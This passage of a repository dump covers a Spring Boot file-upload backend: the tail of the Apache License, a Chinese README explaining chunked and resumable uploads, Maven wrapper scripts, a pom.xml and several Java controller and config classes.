permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/README.md",
    "content": "# MyUploader-Backend\n> 单文件上传，多文件上传，大文件上传，断点续传，文件秒传，图片上传\n> \n> 前端项目地址： [https://github.com/gaoyuyue/MyUploader](https://github.com/gaoyuyue/MyUploader)\n\n# 简介\n采用前后端分离的方式进行开发，实现了几种常用的文件上传功能。 前端采用 vue.js + plupload + element-ui 实现了文件在浏览器端的发送, 后端采用 spring boot + spring + spring mvc + mybatis 实现了文件在服务器端的接收和存储。\n\n***本项目为后端实现***\n\n# 效果图\n> 演示地址： [https://gaoyuyue.github.io/MyUploader](https://gaoyuyue.github.io/MyUploader)\n>\n> *ps: 用git pages搭建的静态页面，只能演示前端功能*\n### 单文件上传\n![](https://i.imgur.com/vBr8ZJq.gif)\n### 多文件上传\n![](https://i.imgur.com/Db6eaMJ.gif)\n### 大文件上传\n![](https://i.imgur.com/qAyksE8.gif)\n### 断点续传\n![](https://i.imgur.com/I1G01MT.gif)\n### 文件秒传\n![](https://i.imgur.com/XHZHGeo.gif)\n### 图片上传\n![](https://i.imgur.com/HFZQnV3.gif)\n\n# 后端实现\n## 未分块上传\n采用MultipartFile接收上传文件并使用FileOutputStream写入文件\n```java\n/**\n * 写入文件\n * @param target\n * @param src\n * @throws IOException\n */\npublic static void write(String target, InputStream src) throws IOException {\n    OutputStream os = new FileOutputStream(target);\n    byte[] buf = new byte[1024];\n    int len;\n    while (-1 != (len = src.read(buf))) {\n        os.write(buf,0,len);\n    }\n    os.flush();\n    os.close();\n}\n```\n## 分块上传\n采用MultipartFile接收上传文件的分块文件，上传参数包括：size：文件大小，chunk:分块号，chunks:总分块数\n```java\n@PostMapping(\"/\")\npublic void upload(String name,\n                   String md5,\n                   Long size,\n                   Integer chunks,\n                   Integer chunk,\n                   MultipartFile file) throws IOException {\n    if (chunks != null && chunks != 0) {\n        fileService.uploadWithBlock(name, md5,size,chunks,chunk,file);\n    } else {\n        fileService.upload(name, md5,file);\n    }\n}\n```\n### 分块上传信息的存储\n使用Map来存储分块的上传信息,key为文件唯一标识由前端发送这里采用文件MD5作为文件的唯一标识，value为自定义的静态内部类，其中name属性为文件在服务器端存储的随机文件名其在该文件的第一个分块上传到服务器时随机生成(UUID)，boolean数组记录了分块的上传情况已上传置为true。\n```java\n/**\n * 分块上传工具类\n */\npublic class UploadUtils {\n    /**\n     * 内部类记录分块上传文件信息\n     */\n    private static class Value {\n        String name;\n        boolean[] status;\n\n        Value(int n) {\n            this.name = generateFileName();\n            this.status = new boolean[n];\n        }\n    }\n\n    private static Map<String, Value> chunkMap = new HashMap<>();\n\n    /**\n     * 判断文件所有分块是否已上传\n     * @param key\n     * @return\n     */\n    public static boolean isUploaded(String key) {\n        if (isExist(key)) {\n            for (boolean b : chunkMap.get(key).status) {\n                if (!b) {\n                    return false;\n                }\n            }\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 判断文件是否有分块已上传\n     * @param key\n     * @return\n     */\n    private static boolean isExist(String key) {\n        return chunkMap.containsKey(key);\n    }\n\n    /**\n     * 为文件添加上传分块记录\n     * @param key\n     * @param chunk\n     */\n    public static void addChunk(String key, int chunk) {\n        chunkMap.get(key).status[chunk] = true;\n    }\n\n    /**\n     * 从map中删除键为key的键值对\n     * @param key\n     */\n    public static void removeKey(String key) {\n        if (isExist(key)) {\n            chunkMap.remove(key);\n        }\n    }\n\n    /**\n     * 获取随机生成的文件名\n     * @param key\n     * @param chunks\n     * @return\n     */\n    public static String getFileName(String key, int chunks) {\n        if (!isExist(key)) {\n            synchronized (UploadUtils.class) {\n                if (!isExist(key)) {\n                    chunkMap.put(key, new Value(chunks));\n                }\n            }\n        }\n        return chunkMap.get(key).name;\n    }\n}\n```\n### 分块写入文件\n使用RandomAccessFile随机读写文件，通过targetSize指定文件的大小，通过seek定位分块在文件中对应位置，通过write方法进行写入。\n```java\n/**\n * 分块写入文件\n * @param target\n * @param targetSize\n * @param src\n * @param srcSize\n * @param chunks\n * @param chunk\n * @throws IOException\n */\npublic static void writeWithBlok(String target, Long targetSize, InputStream src, Long srcSize, Integer chunks, Integer chunk) throws IOException {\n    RandomAccessFile randomAccessFile = new RandomAccessFile(target,\"rw\");\n    randomAccessFile.setLength(targetSize);\n    if (chunk == chunks - 1) {\n        randomAccessFile.seek(targetSize - srcSize);\n    } else {\n        randomAccessFile.seek(chunk * srcSize);\n    }\n    byte[] buf = new byte[1024];\n    int len;\n    while (-1 != (len = src.read(buf))) {\n        randomAccessFile.write(buf,0,len);\n    }\n    randomAccessFile.close();\n}\n\n```\n### 分块上传逻辑\n每次分块上传时首先获取对应文件在服务器端生成的随机文件名，如果不存在即在这之前还没有分块上传，则创建文件分块存储信息的键值对并存入map中，同时返回刚生成的随机文件名。然后将分块写入文件，同时将boolean数组中当前对应分块的位置置为true。最后判断该文件的所有分块是否全部上传，如果已全部上传完成则将文件信息写入数据库同时删除map中对应的键值对。\n> ps: 曾用文件夹存储上传分块，当分块全部上传完成时按顺序合并文件夹内所有分块，然后删除文件夹，后来发现RandomAccessFile果断弃坑。\n```java\n/**\n * 分块上传文件\n * @param md5\n * @param size\n * @param chunks\n * @param chunk\n * @param file\n * @throws IOException\n */\npublic void uploadWithBlock(String name,\n                            String md5,\n                            Long size,\n                            Integer chunks,\n                            Integer chunk,\n                            MultipartFile file) throws IOException {\n    String fileName = getFileName(md5, chunks);\n    FileUtils.writeWithBlok(UploadConfig.path + fileName, size, file.getInputStream(), file.getSize(), chunks, chunk);\n    addChunk(md5,chunk);\n    if (isUploaded(md5)) {\n        removeKey(md5);\n        fileDao.save(new File(name, md5,UploadConfig.path + fileName, new Date()));\n    }\n}\n```\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Migwn, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\necho $MAVEN_PROJECTBASEDIR\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    http://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\n\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_file_uploaderr</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.0.3.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>1.3.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/MyUploaderApplication.java",
    "content": "package cn.attackme.myuploader;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MyUploaderApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(MyUploaderApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/config/LogAspect.java",
    "content": "package cn.attackme.myuploader.config;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.annotation.AfterThrowing;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.springframework.stereotype.Component;\n\nimport static cn.attackme.myuploader.utils.LogUtils.logToFile;\n\n@Aspect\n@Component\n@Slf4j\npublic class LogAspect {\n\n    /**\n     * 日志切面\n     * @param joinPoint\n     * @param ex\n     */\n    @AfterThrowing(throwing = \"ex\", pointcut = \"execution(* cn.attackme.myuploader.*.*.*(..)))\")\n    public void logPoint(JoinPoint joinPoint, Throwable ex) {\n        logToFile(joinPoint,ex);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/config/UploadConfig.java",
    "content": "package cn.attackme.myuploader.config;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\npublic class UploadConfig {\n\n    public static String path;\n\n    @Value(\"${upload.path}\")\n    public void setPath(String path) {\n        UploadConfig.path = path;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/controller/BigFileUploadController.java",
    "content": "package cn.attackme.myuploader.controller;\n\nimport cn.attackme.myuploader.service.FileService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.CrossOrigin;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\n\n/**\n * 大文件上传\n */\n@RestController\n@RequestMapping(\"/BigFile\")\n@CrossOrigin\npublic class BigFileUploadController {\n    @Autowired\n    private FileService fileService;\n\n    @PostMapping(\"/\")\n    public void upload(String name,\n                       String md5,\n                       Long size,\n                       Integer chunks,\n                       Integer chunk,\n                       MultipartFile file) throws IOException {\n        if (chunks != null && chunks != 0) {\n            fileService.uploadWithBlock(name, md5,size,chunks,chunk,file);\n        } else {\n            fileService.upload(name, md5,file);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/controller/FileUploadController.java",
    "content": "package cn.attackme.myuploader.controller;\n\nimport cn.attackme.myuploader.service.FileService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.CrossOrigin;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\n\n/**\n * 文件上传\n */\n@RestController\n@RequestMapping(\"/File\")\n@CrossOrigin\npublic class FileUploadController {\n    @Autowired\n    private FileService fileService;\n\n    @PostMapping(\"/\")\n    public void upload(String name,\n                       String md5,\n                       MultipartFile file) throws IOException {\n        fileService.upload(name, md5,file);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/controller/QuickUploadController.java",
    "content": "package cn.attackme.myuploader.controller;\n\nimport cn.attackme.myuploader.service.FileService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.CrossOrigin;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * 秒传\n */\n@RestController\n@RequestMapping(\"/QuickUpload\")\n@CrossOrigin\npublic class QuickUploadController {\n    @Autowired\n    private FileService fileService;\n\n    @GetMapping(\"/\")\n    public boolean upload(String md5) {\n        return fileService.checkMd5(md5);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/controller/TestExceptionController.java",
    "content": "package cn.attackme.myuploader.controller;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport static cn.attackme.myuploader.utils.LogUtils.logToFile;\n\n/**\n * 测试日志功能\n */\n@RestController\n@RequestMapping(\"/Ex\")\npublic class TestExceptionController {\n    /**\n     * 测试日志切面\n     * @return\n     */\n    @GetMapping(\"/aspect\")\n    public int aspect() {\n        int i = 1 / 0;\n        return i;\n    }\n\n    /**\n     * 测试日志util\n     */\n    @GetMapping(\"/util\")\n    public void util() {\n        try {\n            System.out.println(1/0);\n        } catch (Exception e) {\n            logToFile(e);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/dao/FileDao.java",
